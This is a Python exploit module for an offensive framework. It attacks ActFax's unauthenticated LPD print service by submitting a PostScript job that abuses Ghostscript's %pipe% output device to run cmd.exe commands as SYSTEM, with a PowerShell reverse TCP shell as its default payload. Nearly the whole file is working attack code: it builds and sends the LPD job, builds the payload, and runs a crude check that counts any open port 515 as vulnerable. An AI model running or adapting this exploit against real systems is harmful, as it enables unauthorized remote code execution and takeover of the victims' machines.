ActFax LPD Ghostscript %pipe% SYSTEM RCE

"""ActFax Unauthenticated LPD Ghostscript %pipe% SYSTEM RCE"""
from __future__ import annotations
from kittysploit import *
import socket
import sys
import time
import re
import os
import socket
import sys
import time

class Module(Exploit):
    __info__ = {'name': 'ActFax LPD Ghostscript %pipe% SYSTEM RCE', 'description': 'Unauthenticated LPD receive-job delivers PostScript with %pipe% cmd execution.', 'author': ['KittySploit Team'], 'platform': Platform.WINDOWS, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/windows/powershell_reverse_tcp', 'platform': Platform.WINDOWS, 'category': PayloadCategory.CMD}, 'references': [], 'tags': ['actfax', 'lpd', 'ghostscript', 'rce', 'unauth'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 1, 'reversible': False, 'approval_required': True, 'produces': ['rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/actfax_lpd_gs_pipe_rce_detect']}}}
    port = OptPort(515, 'LPD port', required=True)
    lpd_queue = OptString('lp', 'LPD queue name', required=False)
    fax_num = OptString('1', 'Fax number field (ActFax metadata)', required=False)

    def build_lpd_job(self, queue, fax_num, ps_body):
        """构造一个完整的 LPD 作业 (receive-job + data-file + control-file)。

    LPD (RFC 1179) 子命令:
      \x02 <queue> 
              — receive a printer job
      \x03 <len> name 
           — receive data file (len = data size as decimal)
      <data bytes> \x00            — data content + NULL terminator
      \x02 <len> name 
           — receive control file
      <control bytes> \x00         — control content + NULL terminator
    每条子命令必须作为单个 byte[] 一次性发送, 否则 ActFax LPD 会 RST。
    """
        data = ps_body.encode('latin-1', errors='replace')
        control = 'Hactfax-rce\nPrceuser\nNdfA001actfax\n'.encode('latin-1')
        cmds = []
        cmds.append(bytes([2]) + queue.encode('latin-1') + b'\n')
        cmds.append(bytes([3]) + str(len(data)).encode('latin-1') + b' dfA001actfax\n')
        cmds.append(data + b'\x00')
        cmds.append(bytes([2]) + str(len(control)).encode('latin-1') + b' cfaA001actfax\n')
        cmds.append(control + b'\x00')
        return cmds

    def send_lpd(self, target, port, queue, fax_num, ps_body, timeout=10):
        """发送 LPD 作业, 每条子命令后读取单字节 ack (0x00=成功)。"""
        cmds = self.build_lpd_job(queue, fax_num, ps_body)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(timeout)
        try:
            s.connect((target, port))
            for i, cmd in enumerate(cmds):
                s.sendall(cmd)
                if i not in (2, 4):
                    ack = s.recv(1)
                    if ack != b'\x00':
                        sys.stderr.write('[!] 第 %d 步 ack 异常: %s\n' % (i, ack.hex() if ack else '空'))
                    else:
                        sys.stderr.write('[+] 第 %d 步 ack 0x00 (成功)\n' % i)
            return True
        finally:
            s.close()

    def build_ps_pipe(self, shell: str) -> str:
        safe = shell.replace('\\', '\\\\').replace('"', '\\"')
        return '%!PS-Adobe-3.0\nuserdict /setpagedevice undef\nlegal\n{ null restore } stopped { pop } if\nlegal\nmark /OutputFile (%pipe%cmd.exe /c %s) currentdevice putdeviceprops\n' % safe

    def _host(self) -> str:
        raw = str(getattr(self, 'rhost', None) or getattr(self, 'target', '') or '')
        if hasattr(raw, 'value'):
            raw = raw.value
        return raw.split('://')[-1].split('/')[0].split(':')[0]

    def execute(self, shell: str) -> str:
        host = self._host()
        port = int(self.port or 515)
        queue = str(self.lpd_queue or 'lp')
        fax = str(self.fax_num or '1')
        ps = self.build_ps_pipe(shell)
        ok = self.send_lpd(host, port, queue, fax, ps, timeout=15)
        return f'LPD job to {host}:{port} queue={queue!r} sent={ok}'

    def check(self):
        host = self._host()
        port = int(self.port or 515)
        try:
            s = socket.create_connection((host, port), timeout=5)
            s.close()
            return {'vulnerable': True, 'reason': f'LPD port {port} open', 'confidence': 'low'}
        except OSError as exc:
            return {'vulnerable': False, 'reason': str(exc), 'confidence': 'low'}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error('Set payload')
            return False
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'LPD closed'))
            self.not_vulnerable()
            return False
        print_status('LPD Ghostscript %pipe%')
        print_info(self.execute(shell))
        self.vulnerable()
        return True